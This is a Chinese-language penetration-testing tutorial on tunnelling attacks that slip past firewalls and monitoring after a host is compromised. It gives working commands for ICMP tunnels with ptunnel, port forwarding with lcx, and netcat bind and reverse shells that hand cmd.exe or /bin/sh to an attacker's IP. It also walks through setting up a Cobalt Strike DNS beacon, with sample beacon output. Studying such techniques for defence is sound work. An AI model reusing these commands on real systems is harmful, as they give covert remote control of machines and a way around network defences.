隧道技术攻击

隧道技术？

隧道可按要求建立起一条与其他服务器的通信线路，使用隧道的原因是在不兼容的网络上传输数据，或在不安全网络上提供一个安全路径，确保客户端能与服务器进行安全的通信，届时使用SSL等加密手段进行通信。

隧道本身不会去解析HTTP请求。也就是说，请求保持原样中转给之后的服务器。隧道会在通信双发断开连接时结束。

通过隧道的传输，可以和远距离的服务器安全通信。

特点

• 隧道本身是透明的，客户端不用在意隧道的存在。
• 只关心数据的传输，不对承载的数据进行解析。
• 允许数据从一个网络移动到另一个网络。

隧道技术与代理的区别？

代理：

代理是一种有转发功能的应用程序，它扮演了位于服务器和客户端“中间人”的角色，接收由客户端发送的请求并转发给服务器，同时也接收服务器返回的相应并转发给客户端。

代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求URI，会直接发送给前方持有资源的目标服务器。
持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过代理服务器后再传给客户端。

区别：

• 代理最主要的特征是，无论代理后面挂了几个设备，代理对外只表现为一个设备。外部设备以为自己是在和代理交互，而不能感知代理内部的设备。
• 隧道是一个虚拟的路径，用来使到达隧道入口的数据，穿越原本不方便穿越的网络，到达另一侧出口。

简言之：

• 代理就类似于委托一个人做什么事，而不需要你亲自去动手做。
• 隧道是做这件事有一条捷径，可以通过特殊的方法，直接完成这件事，将做这件事的流程一下子简化了。

什么是隧道攻击?

在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。如果发起方将数据包按照边界设备所允许的数据包类型或端口进行封装，然后穿过边界设备与对方进行通信，当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应服务器上。这种技术称为隧道技术。

在黑客实际入侵过程中，攻击者在开始与被控制主机通信时，通过利用DNS、ICMP等合法协议来构建隐匿隧道来掩护其传递的非法信息，这类攻击称为隐匿隧道攻击。

简言之：在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截。

隧道技术攻击前期必备条件？

已获得主机权限，但是，

1. CS、MSF(msf-Metasploit)无法上线
2. 数据传输不稳定回显
3. 出口数据被监控
4. 网络通信存在问题等

常用的隧道技术

网络层：IPv6 隧道、ICMP 隧道
传输层：TCP 隧道、UDP 隧道、常规端口转发
应用层：SSH 隧道、HTTP/S 隧道、DNS 隧道
演示案例：
• 网络传输应用层检测连通性-检测
• 网络层ICMP隧道Ptunnel使用-检测,利用
• 传输层转发隧道Portmap使用-检测,利用
• 传输层转发隧道Netcat使用-检测,利用,功能
• 应用层DNS隧道配合CS上线-检测,利用,说明

案例1-网络传输应用层检测连通性-检测

1. TCP 协议
   用“瑞士军刀”——netcat
   执行 nc 命令：nc <端口>
2. HTTP 协议
   用“curl”工具，执行curl 命令。如果远程主机开启了相应的端口，且内网可连接外网的话，就会输出相应的端口信息
3. ICMP 协议
   用“ping”命令，执行ping
4. DNS 协议
   检测DNS连通性常用的命令是“nslookup”和“dig”
   nslookup 是windows自带的DNS探测命令
   dig是linux系统自带的DNS探测命令

案例2-网络层ICMP隧道ptunnel使用-检测,利用

kali2020-Target2-Target3
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具
-p ##表示连接icmp隧道另一端的机器IP（即目标服务器）
-lp ##表示需要监听的本地tcp端口
-da ##指定需要转发的机器的IP（即目标内网某一机器的内网IP）
-dp ##指定需要转发的机器的端口（即目标内网某一机器的内网端口）
-x ##设置连接的密码
Webserver：./ptunnel -x xiaodi
Hacker xiaodi：./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #转发的3389请求数据给本地1080
Hacker xiaodi：rdesktop 127.0.0.1 1080
老版本介绍：https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍：https://github.com/esrrhs/pingtunnel(二次开发版)

案例3-传输层转发隧道Portmap使用-检测,利用

windows: lcx
linux：portmap
lcx -slave 攻击IP 3131 127.0.0.1 3389 //将本地3389给攻击IP的3131
lcx -listen 3131 3333 //监听3131转发至3333

案例4-传输层转发隧道Netcat使用-检测,利用,功能

Kali2020-god\webserver-god\sqlserver|dc
1.双向连接反弹shell
正向：攻击连接受害
受害：nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击：nc 192.168.76.132 1234 //主动连接
反向：受害连接攻击
攻击：nc -lvp 1234
受害：nc 攻击主机IP 1234 -e /bin/sh
nc 攻击主机IP 1234 -e c:\windows\system32\cmd.exe
2.多向连接反弹shell-配合转发
反向：
god\Webserver：Lcx.exe -listen 2222 3333
god\Sqlserver：nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali或本机：nc -v 192.168.76.143 3333
正向该怎么操作呢？实战中改怎么选择正向和反向？
3.相关netcat主要功能测试
指纹服务：nc -nv 192.168.76.143
端口扫描：nc -v -z 192.168.76.143 1-100
端口监听：nc -lvp xxxx
文件传输：nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹Shell：见上

案例5-应用层DNS隧道配合CS上线-检测,利用，说明

当常见协议监听器被拦截时，可以换其他协议上线，其中dns协议上线基本通杀
1.云主机Teamserver配置端口53启用-udp
2.买一个域名修改解析记录如下：
A记录->cs主机名->CS服务器IP
NS记录->ns1主机名->上个A记录地址
NS记录->ns2主机名->上个A记录地址
3.配置DNS监听器内容如下：
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后门执行上线后启用命令：
beacon> checkin
[] Tasked beacon to checkin
beacon> mode dns-txt
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes
beacon> shell whoami
[] Tasked beacon to run: whoami
[+] host called home, sent: 53 bytes
[+] received output:
xiaodi-pc\xiaodi

---

参考：

• https://baijiahao.baidu.com/s?id=1674627113406126133&wfr=spider&for=pc
• https://blog.csdn.net/weixin_45797022/article/details/106383474
• https://www.cnblogs.com/SnowSec/p/14591221.html